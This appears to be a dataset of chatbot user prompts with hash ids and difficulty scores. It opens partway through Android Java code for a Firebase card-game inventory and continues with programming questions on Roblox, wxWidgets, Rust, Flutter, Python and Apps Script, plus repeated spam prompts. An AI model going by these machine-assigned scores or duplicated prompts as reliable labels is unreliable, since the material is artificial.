DocumentReference userRef = db.collection(Constants.KEY_COLLECTION_USERS).document(userId);
// Получаем текущий баланс пользователя
userRef.get().addOnSuccessListener(documentSnapshot -> {
if (documentSnapshot.exists()) {
// Получаем текущий баланс
Object pointsObj = documentSnapshot.get(Constants.KEY_POINTS);
if (pointsObj != null) {
int newPoints;
if (pointsObj instanceof Long) {
// Если в базе данных хранится Long, преобразуем в int
Long pointsLong = (Long) pointsObj;
newPoints = pointsLong.intValue() + soldPrice;
} else if (pointsObj instanceof Integer) {
// Если в базе данных хранится Integer, используем его
int points = (int) pointsObj;
newPoints = points + soldPrice;
} else {
// Обработка других типов, если необходимо
newPoints = 0; // По умолчанию
}
// Обновляем баланс в базе данных
userRef.update(Constants.KEY_POINTS, newPoints)
.addOnSuccessListener(aVoid -> {
// Успешное обновление
// Обновляем также баланс в PreferenceManager
preferenceManager.putInt(Constants.KEY_POINTS, newPoints);
// Оповещаем адаптер о изменениях
}) .addOnFailureListener(e -> {
// Обработка ошибки при обновлении
});
}
}
}); } catch (NumberFormatException e) {
// Обработка ошибки преобразования строки в число
}
}
// Обновите видимость selectedImageView
holder.selectedImageView.setVisibility(selectedItems.contains(currentItem) ? View.VISIBLE : View.GONE);
});
materialAlertDialogBuilder.show();
// Ваш код для продажи предмета здесь
// Включите кнопку, когда задача будет выполнена
});
}
@Override
public int getItemCount() {
return itemList.size();
}
public static class ViewHolder extends RecyclerView.ViewHolder {
ImageView itemImageView,selectedImageView;
TextView nameTextView;
TextView priceTextView;
MaterialButton soldButton;
ConstraintLayout backgroundItem;
AdvancedCardView cardView;
public ViewHolder(@NonNull View itemView) {
super(itemView);
itemImageView = itemView.findViewById(R.id.itemImg);
nameTextView = itemView.findViewById(R.id.name);
priceTextView = itemView.findViewById(R.id.price);
soldButton = itemView.findViewById(R.id.soldbutton);
selectedImageView = itemView.findViewById(R.id.selectimage);
backgroundItem = itemView.findViewById(R.id.backgroundItem);
cardView = itemView.findViewById(R.id.cardView);
}
}
public void setAllItemsSelected(boolean isSelected) {
// Выберите все предметы
if (isSelected) {
selectedItems.addAll(itemList);
} else {
// Снять выделение со всех предметов
selectedItems.clear();
}
// Обновить отображение
notifyDataSetChanged();
}
public List<Item> getSelectedItems() {
return selectedItems;
}
public void clearSelectedItems() {
selectedItems.clear();
notifyDataSetChanged();
}
public int calculateTotalSoldPrice() {
int totalSoldPrice = 0;
for (Item selectedItem : selectedItems) {
try {
int soldPrice = Integer.parseInt(selectedItem.getSoldPrice());
totalSoldPrice += soldPrice;
} catch (NumberFormatException e) {
// Обработка ошибки преобразования строки в число
}
}
return totalSoldPrice;
}
public interface OnItemClickedListener {
void onItemClicked(Item item);
}
}package com.example.cardsbattle.Fragments;
import android.os.Bundle;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.GridLayoutManager;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Toast;
import com.example.cardsbattle.R;
import com.example.cardsbattle.adapters.InventoryAdapter;
import com.example.cardsbattle.databinding.FragmentInventoryBinding;
import com.example.cardsbattle.model.Item;
import com.example.cardsbattle.utilites.Constants;
import com.example.cardsbattle.utilites.PreferenceManager;
import com.google.android.flexbox.FlexDirection;
import com.google.android.flexbox.FlexboxLayoutManager;
import com.google.android.flexbox.JustifyContent;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.Query;
import java.util.ArrayList;
import java.util.List;
public class InventoryFragment extends Fragment {
FragmentInventoryBinding binding;
private List<Item> itemList;
private FirebaseFirestore database;
private String userId;
private PreferenceManager preferenceManager;
InventoryAdapter adapter;
private boolean isSelectAll = false;
private int totalSoldPrice = 0;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_inventory, container, false);
binding = FragmentInventoryBinding.bind(view);
preferenceManager = new PreferenceManager(getActivity().getApplicationContext());
database = FirebaseFirestore.getInstance();
binding.selectAllButton.setOnClickListener(v -> {
isSelectAll = !isSelectAll;
adapter.clearSelectedItems();
adapter.setAllItemsSelected(isSelectAll);
updateTotalSoldPrice();
});
binding.sellAllButton.setOnClickListener(v -> {
sellAllSelectedItems();
binding.totalSoldPriceTextView.setText("");
});
userId = preferenceManager.getString(Constants.KEY_USER_ID);
FlexboxLayoutManager layoutManager = new FlexboxLayoutManager(requireContext());
// Устанавливаем направление
layoutManager.setFlexDirection(FlexDirection.ROW);
// Устанавливаем сформировенные элементы на флекс линии как justifyContent: center
layoutManager.setJustifyContent(JustifyContent.CENTER);
binding.inventorRecyclerView.setLayoutManager(layoutManager);
itemList = new ArrayList<>();
adapter = new InventoryAdapter(itemList, getActivity().getApplicationContext(), new InventoryAdapter.OnItemClickedListener() {
@Override
public void onItemClicked(Item item) {
updateTotalSoldPrice();
adapter.notifyDataSetChanged();
}
});
binding.inventorRecyclerView.setAdapter(adapter);
fetchUserItems();
return view;
}
private void updateTotalSoldPrice() {
totalSoldPrice = adapter.calculateTotalSoldPrice();
binding.totalSoldPriceTextView.setText("Сумма выбранных: " + totalSoldPrice + " ₽");
Log.d("Total",String.valueOf(totalSoldPrice)+ " firs");
}
private void updateTotalSoldPrice2() {
// Обновление баланса в базе данных
String userId = preferenceManager.getString(Constants.KEY_USER_ID);
FirebaseFirestore db = FirebaseFirestore.getInstance();
DocumentReference userRef = db.collection(Constants.KEY_COLLECTION_USERS).document(userId);
userRef.get().addOnSuccessListener(documentSnapshot -> {
if (documentSnapshot.exists()) {
Object pointsObj = documentSnapshot.get(Constants.KEY_POINTS);
if (pointsObj != null) {
int newPoints;
if (pointsObj instanceof Long) {
Long pointsLong = (Long) pointsObj;
newPoints = pointsLong.intValue() + totalSoldPrice;
} else if (pointsObj instanceof Integer) {
int points = (int) pointsObj;
newPoints = points + totalSoldPrice;
} else {
newPoints = 0;
}
// Вывод в лог для проверки значения newPoints
Log.d("BalanceUpdate", "New Points: " + newPoints);
userRef.update(Constants.KEY_POINTS, newPoints)
.addOnSuccessListener(aVoid -> {
preferenceManager.putInt(Constants.KEY_POINTS, newPoints);
fetchUserItems(); // Обновление списка предметов после успешного обновления баланса
})
.addOnFailureListener(e -> {
// Обработка ошибки при обновлении
Log.e("BalanceUpdate", "Failed to update balance", e);
});
}
}
});
}
private void sellAllSelectedItems() {
List<Item> selectedItems = adapter.getSelectedItems();
if (!selectedItems.isEmpty()) {
for (Item selectedItem : selectedItems) {
sellItem(selectedItem);
}
adapter.clearSelectedItems();
adapter.notifyDataSetChanged();
updateTotalSoldPrice2(); // Перенесите вызов updateTotalSoldPrice2 сюда, чтобы обновить баланс после продажи
} else {
Toast.makeText(getContext(), "Выберите предметы для продажи", Toast.LENGTH_SHORT).show();
}
}
private void sellItem(Item item) {
FirebaseFirestore db = FirebaseFirestore.getInstance();
String itemId = item.getId();
if (itemId != null && !itemId.isEmpty()) {
DocumentReference itemRef = db.collection(Constants.KEY_COLLECTION_ITEMS).document(itemId);
itemRef.delete()
.addOnSuccessListener(aVoid -> {
String userId = preferenceManager.getString(Constants.KEY_USER_ID);
DocumentReference userItemRef = db.collection(Constants.KEY_COLLECTION_USERS)
.document(userId)
.collection(Constants.KEY_COLLECTION_ITEMS)
.document(itemId);
userItemRef.delete()
.addOnSuccessListener(aVoid1 -> {
})
.addOnFailureListener(e -> {
Toast.makeText(getContext(), "Не удалось продать предметы", Toast.LENGTH_SHORT).show();
});
})
.addOnFailureListener(e -> {
Toast.makeText(getContext(), "Не удалось продать предметы", Toast.LENGTH_SHORT).show();
});
}
}
private void fetchUserItems() {
database.collection(Constants.KEY_COLLECTION_USERS)
.document(userId)
.collection(Constants.KEY_COLLECTION_ITEMS)
.orderBy("quality", Query.Direction.DESCENDING) // Сортировка по цене по возрастанию (чем больше число, тем предмет выше в списке)
.get()
.addOnCompleteListener(task -> {
if (task.isSuccessful()) {
itemList.clear();
for (DocumentSnapshot document : task.getResult()) {
Item item = document.toObject(Item.class);
if (item != null) {
itemList.add(item);
int itemCount = binding.inventorRecyclerView.getAdapter().getItemCount();
binding.itemSize.setText("Предметов: "+String.valueOf(itemCount));
}
}
adapter.notifyDataSetChanged();
} else {
// Handle the error
}
});
}
}
|
bc8f35ba929b3ffc0343379774260bb6
|
{
"intermediate": 0.32493969798088074,
"beginner": 0.5790420770645142,
"expert": 0.09601818770170212
}
|
33,004
|
Почему не работает скрипт В Roblox Studio
Скрипт
local h = script.Parent.Parent:WaitForChild("Humanoid")
local tool = script.Parent
local anim = h:LoadAnimation(script.Parent.anim:WaitForChild("LK AF1"))
tool.Activated:Connect (function(lkAF1)
if lkAF1 then
anim:play()
end
end)
Он почему то не включает анимку
|
17f19678eef779afacceb33fd164e9cd
|
{
"intermediate": 0.43942901492118835,
"beginner": 0.3211787939071655,
"expert": 0.2393922507762909
}
|
33,005
|
write description with these keywords "A quick and practical introduction to SOLID with examples in java.
|
d388c5a46e051f5521f285891e55dfde
|
{
"intermediate": 0.40272125601768494,
"beginner": 0.346405565738678,
"expert": 0.2508731484413147
}
|
33,006
|
I am making a cross platform c++ wxwidgets project, so far I made it working perfectly in linux and in windows it worked perfectly before I introduces a different way to read files using std::wifstream instead of std::ifstream since it handles unicode characters better. The problem is in windows when reading the file it reads it as a single string instead of separating the lines in each line break. I thought it was because the ending where linux-like but a closer inspection to the file, each line ends with CRLF. How can I solve this reading problem?
wxArrayString LoadFile(const wxString& filename)
{
wxArrayString strings;
std::wifstream file(filename.ToStdString());
if (file)
{
// Set the locale to UTF-8
file.imbue(Utils::GetUTF8Locale());
std::wstring str;
while(std::getline(file, str))
{
strings.push_back(wxString(str));
}
}
return strings;
}
std::locale GetUTF8Locale()
{
return std::locale(std::locale(), new std::codecvt_utf8<wchar_t>);
}
|
ddf4c27f4164a07cd08709718a44d21a
|
{
"intermediate": 0.6120828986167908,
"beginner": 0.24031822383403778,
"expert": 0.14759884774684906
}
|
33,007
|
I am making a cross platform c++ wxwidgets project, so far I made it working perfectly in linux and in windows it worked perfectly before I changed the way to read files using std::wifstream instead of std::ifstream since it handles unicode characters better. The problem is in windows when reading the file it reads it as a single string instead of separating the lines in each line break. I thought it was because the ending where linux-like but a closer inspection to the file, each line ends with CRLF. How can I solve this reading problem?
wxArrayString LoadFile(const wxString& filename)
{
wxArrayString strings;
std::wifstream file(filename.ToStdString());
if (file)
{
// Set the locale to UTF-8
file.imbue(Utils::GetUTF8Locale());
std::wstring str;
while(std::getline(file, str))
{
strings.push_back(wxString(str));
}
}
return strings;
}
std::locale GetUTF8Locale()
{
return std::locale(std::locale(), new std::codecvt_utf8<wchar_t>);
}
|
cad2ef6deb98fecf490179dd02b179f2
|
{
"intermediate": 0.6280706524848938,
"beginner": 0.18623097240924835,
"expert": 0.18569830060005188
}
|
33,008
|
I am making a cross platform c++ wxwidgets project, i have a method that reads a file and works well whenever there aren't any unicode characters like latin letters cyrilic japanese alphabet etc. how can I solve this so it can read them correctly?
wxArrayString LoadFile(const wxString& filename)
{
wxArrayString strings;
wxTextFile file(filename.ToStdString());
if (file.Exists())
{
if (file.Open())
{
for (size_t i = 0; i < file.GetLineCount(); i++)
{
wxString line = file[i];
strings.push_back(line);
}
file.Close();
}
}
return strings;
}
|
a460bfa92c1a6c7eec0603cc40238617
|
{
"intermediate": 0.6727063059806824,
"beginner": 0.18639631569385529,
"expert": 0.14089743793010712
}
|
33,009
|
You are an expert Rust programmer, with a lot of experience in serializing and deserializing data. This is your problem:
You will receive 3 million lines with this format:
Text\tAnother\tText1\tText2\123\t231\t+\tname "alejandro"; lastname "test"; childs "5"; employment "construction";
Text\tAnother\tText1\tText2\123\t231\t+\tname "michael";
Text\tAnother\tText1\tText2\123\t231\t+\tname "pepito"; lastname "test"; childs "2";
From these lines you will need to produce this output structure:
{
src: "Text",
inp: "Another",
...
attributes: {
name:"alejandro",
lastname:"test",
childs:"5",
employment:"construction"
}
}
You are free to use any type of tricks, algorithms, structures (though is recommended to use serde or nom)
|
b24ac5b8fa6f9ed1ce704ae1395d6dec
|
{
"intermediate": 0.43361181020736694,
"beginner": 0.3674211800098419,
"expert": 0.19896702468395233
}
|
33,010
|
you think it's possible to make an automatic ip address sortager through html,css,javascript? the idea is to sort out ips on ack flag and remove them from list. any ideas?
|
34f70816e5e92ea21a7d7f0af92d1e5a
|
{
"intermediate": 0.3781036138534546,
"beginner": 0.11634358018636703,
"expert": 0.5055528283119202
}
|
33,011
|
function onOpen() {
var ui = SpreadsheetApp.getUi();
ui.createMenu('Навигация')
.addItem('Генерирай документ', 'replaceText')
.addToUi();
}
function replaceText() {
var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
var data = sheet.getDataRange().getValues();
var folderId = '1gNydEoIKLvCkeJnPUyhyqB9F-2uMAEXe'; // Replace with your Google Drive folder ID
for (var r = 1; r < data.length; r++) {
var existingDocs = DriveApp.getFolderById(folderId).getFilesByName("Оферта №" + data[r][2] + " за изграждане и развитие на онлайн магазин " + data[r][0]);
// Check if document with the same offer number already exists
if (existingDocs.hasNext()) {
Logger.log("Оферта № " + data[r][2] + " вече съществува. Документът е пропуснат, за да не бъде презаписан.");
continue;
}
var docTemplateId = '1MUpOuZgpYkYhgfSqMuzp4wlrnaHhodQRtSjQGkdrHak'; // Replace with your Google Docs template ID
var docTemplate = DriveApp.getFileById(docTemplateId);
var folder = DriveApp.getFolderById(folderId);
// Construct the desired file name
var fileName = "Оферта №" + data[r][2] + " за изграждане и развитие на онлайн магазин " + data[r][0];
// Copy the template file to the specified folder
var docCopy = docTemplate.makeCopy(fileName, folder);
// Open the copied document
var doc = DocumentApp.openById(docCopy.getId());
var body = doc.getBody();
// Replace placeholders in the Google Docs document
replacePlaceholder(body, "{{domain_name}}", data[r][0]);
replacePlaceholder(body, "{{company_name}}", data[r][1]);
replacePlaceholder(body, "{{offer_number}}", data[r][2]);
replacePlaceholder(body, "{{offer_date}}", data[r][3]);
replacePlaceholder(body, "{{delivery_method}}", data[r][4]);
replacePlaceholder(body, "{{payment_method}}", data[r][5]);
replacePlaceholder(body, "{{project_specific}}", data[r][6]);
replacePlaceholder(body, "{{communication}}", data[r][7]);
replacePlaceholder(body, "{{creative}}", data[r][8]);
replacePlaceholder(body, "{{web_development}}", data[r][9]);
replacePlaceholder(body, "{{tests}}", data[r][10]);
replacePlaceholder(body, "{{total_sum}}", data[r][11]);
replacePlaceholder(body, "{{deadline}}", data[r][12]);
replacePlaceholder(body, "{{hour_rate}}", data[r][13]);
// Save and close the document
doc.saveAndClose();
// Get the URL of the newly created document
var docUrl = DriveApp.getFileById(docCopy.getId()).getUrl();
// Update the spreadsheet with the document link in column O
sheet.getRange(r + 1, 15).setValue(docUrl); // Assuming column O is column 15
}
}
function replacePlaceholder(body, placeholder, replacement) {
body.replaceText(placeholder, replacement);
}
show me the most semantic way to be generated this script if i need to be more fast customized about adding new fields or deleted it
|
71306e3fa23fcabf87f0d90940e1839f
|
{
"intermediate": 0.38240477442741394,
"beginner": 0.39834102988243103,
"expert": 0.21925415098667145
}
|
33,012
|
are you able to fix "IndentationError" somehow or not? try replace ident spaces with "X":
|
171480342ad539977043feccee0cc2ce
|
{
"intermediate": 0.47408995032310486,
"beginner": 0.14146167039871216,
"expert": 0.384448379278183
}
|
33,013
|
are you able to fix "IndentationError" somehow or not? try replace ident spaces with "X":
|
1fb3ed24aa3eb27439010c55b46fb1e7
|
{
"intermediate": 0.47408995032310486,
"beginner": 0.14146167039871216,
"expert": 0.384448379278183
}
|
33,014
|
are you able to fix "IndentationError" or not? replace ident spaces with "X":
|
30c8e8461a03a4872918d8cdfc30bc39
|
{
"intermediate": 0.4602299630641937,
"beginner": 0.1391664445400238,
"expert": 0.40060362219810486
}
|
33,015
|
are you able to fix "IndentationError" or not? replace ident spaces with "X":
|
e0d63c65e30aeb6ede28bd84ddb6c152
|
{
"intermediate": 0.4602299630641937,
"beginner": 0.1391664445400238,
"expert": 0.40060362219810486
}
|
33,016
|
are you able to fix "IndentationError" or not? replace ident spaces with "X":
|
27869b4d1a06e5ed01966ae99211aa7a
|
{
"intermediate": 0.4602299630641937,
"beginner": 0.1391664445400238,
"expert": 0.40060362219810486
}
|
33,017
|
are you able to fix "IndentationError" or not? replace ident spaces with "X":
|
a57366464f4439a1c8c179a814be27e0
|
{
"intermediate": 0.4602299630641937,
"beginner": 0.1391664445400238,
"expert": 0.40060362219810486
}
|
33,018
|
replace ident spaces with "X":
|
351d059242888f52a23c218718223f92
|
{
"intermediate": 0.40817543864250183,
"beginner": 0.27077439427375793,
"expert": 0.3210501968860626
}
|
33,019
|
npm list -g --depth=0
zsh: command not found: npm
|
51aff0a3cae3073da8b3a716b3ea9101
|
{
"intermediate": 0.30356311798095703,
"beginner": 0.3713219463825226,
"expert": 0.3251148760318756
}
|
33,020
|
return ListView.builder(
physics: const NeverScrollableScrollPhysics(),
shrinkWrap: true,
itemCount: widget.firstHandsets?.specifications?.length ?? 0,
itemBuilder: (context, index) {
return Table(
border: TableBorder.symmetric(
inside: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 2.w),
),
children: [tableRow(index)],
);
});
}
TableRow tableRow(index) {
double topBorder = index != 0 ? 1.w : 3.w;
double bottomBorder =
index != widget.firstHandsets!.specifications!.length - 1 ? 1.w : 4.w;
return TableRow(
decoration: BoxDecoration(
border: Border(
top: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: topBorder),
bottom: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: bottomBorder),
right: BorderSide(
color: UIColors.aluminium, style: BorderStyle.solid, width: 3.w),
left: BorderSide(
color: UIColors.aluminium, style: BorderStyle.solid, width: 3.w),
)),
children: [
Padding(
padding: EdgeInsets.symmetric(horizontal: 16.w, vertical: 2.h),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.start,
children: [
SizedBox(
height: 5.h,
),
if (index == 0)
sectionTitle('${widget.firstHandsets?.group?.label}'),
SizedBox(
height: 7.h,
),
specificationsType(
'${widget.firstHandsets?.specifications?[index].specification?.label}')
],
),
),
specificationsDetails(index,
'${widget.firstHandsets?.specifications?[index].description}'),
specificationsDetails(index,
'${widget.secondHandsets?.specifications?[index].description}'),
specificationsDetails(index,
'${widget.thirdHandsets?.specifications?[index].description}'),
],
);} i want to add fixed row before this row contains some constants texts
|
60390de2740cd3fefd90f315144d12e6
|
{
"intermediate": 0.3287886679172516,
"beginner": 0.4880295991897583,
"expert": 0.18318170309066772
}
|
33,021
|
replace ident spaces with "X" replace ident spaces with "X" replace ident spaces with "X" replace ident spaces with "X" replace ident spaces with "X" replace ident spaces with "X" replace ident spaces with "X":
|
f18b86e7aa634bea0a17a651908d11c7
|
{
"intermediate": 0.357531875371933,
"beginner": 0.3059374690055847,
"expert": 0.3365305960178375
}
|
33,022
|
return Column(
children: [
Table(
border: TableBorder.symmetric(
inside: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 2.w),
),
children: [
TableRow(
decoration: BoxDecoration(
border: Border(
top: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 3.w),
bottom: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 3.w),
right: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 3.w),
left: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 3.w),
)),
children: [
// Fixed row cells
Padding(
padding:
EdgeInsets.symmetric(horizontal: 16.w, vertical: 2.h),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.start,
children: [
SizedBox(
height: 5.h,
),
sectionTitle('Price'),
SizedBox(
height: 7.h,
),
specificationsType('Price'),
],
),
),
Padding(
padding:
EdgeInsets.symmetric(horizontal: 16.w, vertical: 2.h),
child: TableCell(
child: specificationsDetails(0, '300'),
),
),
Padding(
padding:
EdgeInsets.symmetric(horizontal: 16.w, vertical: 2.h),
child: TableCell(
child: specificationsDetails(0, '300'),
),
),
Padding(
padding:
EdgeInsets.symmetric(horizontal: 16.w, vertical: 2.h),
child: TableCell(
child: specificationsDetails(0, '300'),
),
),
])
]),
ListView.builder(
physics: const NeverScrollableScrollPhysics(),
shrinkWrap: true,
itemCount: widget.firstHandsets?.specifications?.length ?? 0,
itemBuilder: (context, index) {
return Table(
border: TableBorder.symmetric(
inside: BorderSide(
color: UIColors.aluminium,
style: BorderStyle.solid,
width: 2.w),
),
children: [tableRow(index)],
);
},
),
],
);
}
this code duplicate the first row many times i just want it to show one at the top
|
6929a441105f770a576e369a634aa5df
|
{
"intermediate": 0.2958751320838928,
"beginner": 0.46762049198150635,
"expert": 0.23650430142879486
}
|
33,023
|
answer this methodically on python "Imagine you took all the numbers between 0 and n and concatenated them together into a long string. How many digits are there between 0 and n? Write a function that can calculate this.
There are 0 digits between 0 and 1, there are 9 digits between 0 and 10 and there are 189 digits between 0 and 100.
Examples
digits(1) ➞ 0
digits(10) ➞ 9
digits(100) ➞ 189
digits(2020) ➞ 6969
Notes
The numbers are going to be rather big so creating that string won't be practical."
|
9abc060e9c88424e8e3c9b118d0a24bc
|
{
"intermediate": 0.3734670877456665,
"beginner": 0.24033521115779877,
"expert": 0.38619768619537354
}
|
33,024
|
answer this in python methodically:"Given two sorted arrays nums1 and nums2 of size m and n respectively, return the median of the two sorted arrays.
The overall run time complexity should be O(log (m+n)).
Example 1:
Input: nums1 = [1,3], nums2 = [2]
Output: 2.00000
Explanation: merged array = [1,2,3] and median is 2.
Example 2:
Input: nums1 = [1,2], nums2 = [3,4]
Output: 2.50000
Explanation: merged array = [1,2,3,4] and median is (2 + 3) / 2 = 2.5.
Constraints:
nums1.length == m
nums2.length == n
0 <= m <= 1000
0 <= n <= 1000
1 <= m + n <= 2000
-106 <= nums1[i], nums2[i] <= 106"
|
871de1a49d7fbb5d8438e9b8a101550b
|
{
"intermediate": 0.3769930899143219,
"beginner": 0.22452779114246368,
"expert": 0.3984791040420532
}
|
33,025
|
. just got an another idea here. what if we look for an NS error in browser "transferred" returned and base overall sortage on if there's an NS error returned or timout ended?
|
6d4c5facba382474c002834828d78f94
|
{
"intermediate": 0.4466836154460907,
"beginner": 0.1715744435787201,
"expert": 0.3817419707775116
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.